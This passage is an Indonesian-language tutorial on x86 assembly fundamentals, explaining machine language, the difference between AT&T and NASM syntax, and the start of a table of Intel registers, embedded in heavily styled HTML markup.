Perintah dalam bentuk binary ini disebut dengan bahasa mesin.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Secara umum program bisa dilihat sebagai urutan langkah/perintah/instruksi untuk menyelesaikan sesuatu. Programmer bisa langsung membuat program dengan menuliskan perintah dalam bentuk 1 dan 0 (bahasa mesin), atau menggunakan bahasa tingkat tinggi yang lebih manusiawi seperti C, Visual Basic atau Java.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;span id="more-1582" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;/span&gt;&lt;/div&gt;&lt;blockquote style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 1em; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 1em; padding-right: 1em; padding-top: 1em; quotes: none; vertical-align: baseline;"&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Hanya dua simbol yang dimengerti komputer, yaitu 1 dan 0&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Perhatikan contoh sederhana ini: programmer ingin menyimpan nilai&amp;nbsp; register EAX ke dalam stack. Dalam bahasa mesin programmer harus menuliskan 01010000. Sedangkan dalam bahasa assembly programmer cukup menulis PUSH EAX. Manakah yang lebih manusiawi? Tentu menggunakan assembly lebih manusiawi. Sangat sulit bagi manusia bila harus selalu menggunakan 1 dan 0 setiap memberi perintah.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;a href="http://www.ilmuhacking.com/wp-content/uploads/2009/10/codeinbinary.jpg" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #005299; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none; vertical-align: baseline;"&gt;&lt;img alt="codeinbinary" class="aligncenter size-full wp-image-1711" height="300" src="http://www.ilmuhacking.com/wp-content/uploads/2009/10/codeinbinary.jpg" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; display: block; font-size: 13px; margin-bottom: 0px; margin-left: auto; margin-right: auto; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;" title="codeinbinary" width="277" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Semakin tinggi bahasanya, maka semakin manusiawi cara memberi perintahnya. Contohnya bila programmer ingin menampilkan suatu teks di layar monitor, dalam bahasa C programmer cukup menuliskan printf(“Hello World”), mudah dan singkat. Namun dalam bahasa yang lebih rendah seperti assembly, dibutuhkan sekitar 5 langkah untuk menyelesaikan tugas yang sama.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Semua program dalam bahasa apapun dibuatnya, pada akhirnya ketika akan dieksekusi akan diterjemahkan dalam bahasa mesin, karena itulah satu-satunya bahasa yang dimengerti prosesor.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Bahasa Assembly dan Processor&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Karena bahasa assembly adalah mnemonic (singkatan) untuk instruksi dalam bahasa mesin. Maka perintah-perintah dalam bahasa assembly terkait erat dengan prosesornya. Setiap prosesor memiliki instruction set masing-masing,sehingga bahasa assembly untuk prosesor Intel akan berbeda dengan assembly untuk prosesor lainnya.&amp;nbsp; Namun karena intel menguasai pangsa pasar prosesor maka hampir semua produsen prosesor membuat instruksi set yang kompatibel dengan intel.&lt;/div&gt;&lt;blockquote style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 1em; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 1em; padding-right: 1em; padding-top: 1em; quotes: none; vertical-align: baseline;"&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Bahasa assembly adalah mnemonic dari instruksi bahasa mesin (berbentuk binary) yang disebut opcode&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Dokumentasi lengkap mengenai membuat program dalam prosesor intel, termasuk daftar instruction setnya bisa diperoleh di website resmi intel, di&amp;nbsp;&lt;a href="http://www.intel.com/products/processor/manuals/" style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #005299; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none; vertical-align: baseline;"&gt;intel developer manuals&lt;/a&gt;. Dalam artikel ini saya hanya menjelaskan beberapa instruksi dasar yang paling banyak dipakai, selebihnya bisa dilihat di manual yang ada di website intel.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Assembly AT&amp;amp;T dan NASM&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Ada dua sintaks bahasa assembly, yaitu dalam format AT&amp;amp;T dan NASM. Sintaks AT&amp;amp;T banyak dipakai dalam lingkungan GNU seperti GNU Assembler, dan menjadi format default GNU Debugger (GDB). Sedangkan format NASM dipakai oleh netwide assembler dan banyak dipakai di lingkungan windows.&lt;/div&gt;&lt;blockquote style="background-attachment: initial; background-clip: initial; background-color: #eeeeee; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 1em; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 1em; padding-left: 1em; padding-right: 1em; padding-top: 1em; quotes: none; vertical-align: baseline;"&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Perlu dicatat bahwa perbedaan NASM dan AT&amp;amp;T ini hanya masalah sintaks saja, keduanya menghasilkan bahasa mesin yang sama persis&lt;/div&gt;&lt;/blockquote&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Beberapa perbedaan antara format AT&amp;amp;T dan NASM adalah:&lt;/div&gt;&lt;ul style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; list-style-image: initial; list-style-position: initial; list-style-type: square; margin-bottom: 1em; margin-left: 25px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;li style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Baris komentar diawali dengan “;” semicolon untuk NASM. AT&amp;amp;T mengawali komentar dengan # (hash)&lt;/li&gt;&lt;li style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Dalam format AT&amp;amp;T, setiap register diawali dengan %. NASM tidak menggunakan %.&lt;/li&gt;&lt;li style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Dalam format AT&amp;amp;T, setiap nilai literal (konstanta) diawali dengan $. NASM tidak menggunakan $.&lt;/li&gt;&lt;li style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Pada perintah yang menggunakan operand sumber dan tujuan, format AT&amp;amp;T menuliskan tujuan sebagai operand kedua (contoh: CMD &amp;lt;source&amp;gt;,&amp;lt;dest&amp;gt;). Sedangkan NASM menuliskan tujuan sebagai operand pertama (contoh: CMD &amp;lt;dest&amp;gt;,&amp;lt;source&amp;gt;).&lt;/li&gt;&lt;/ul&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;strong style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Register&lt;/strong&gt;&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Register adalah variabel internal yang sudah built-in di dalam prosesor yang bisa dipakai oleh programmer untuk bermacam-macam keperluan. Karena register posisinya di prosesor, bukan di memory, maka menggunakan register sebagai variabel jauh lebih cepat dibanding menggunakan variabel yang dismipan di suatu alamat di memori.&lt;/div&gt;&lt;div style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 1em; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"&gt;Berikut adalah jenis-jenis register yang ada pada prosesor Intel.&lt;/div&gt;&lt;table border="1" style="-webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-collapse: collapse; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;tbody style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Kategori&lt;/th&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Nama&lt;/th&gt;&lt;th style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Penjelasan&lt;/th&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;General Purpose&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;EAX, EBX, ECX, EDX&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;Lebar data 32 bit, boleh diapakai untuk keperluan apa saja. E adalah Extended (karena awalnya register general purpose hanya 16 bit).&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;AX,BX,CX,DX&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;16 bit bawah dari register 32 bit di atas. AX adalah bagian 16 bit bawah dari EAX.&lt;/td&gt;&lt;/tr&gt;&lt;tr style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-size: 13px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"&gt;&lt;/td&gt;&lt;td style="background-attachment: initial; background-clip: initial; background-color: transparent; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-width: 0px; border-color: initial; 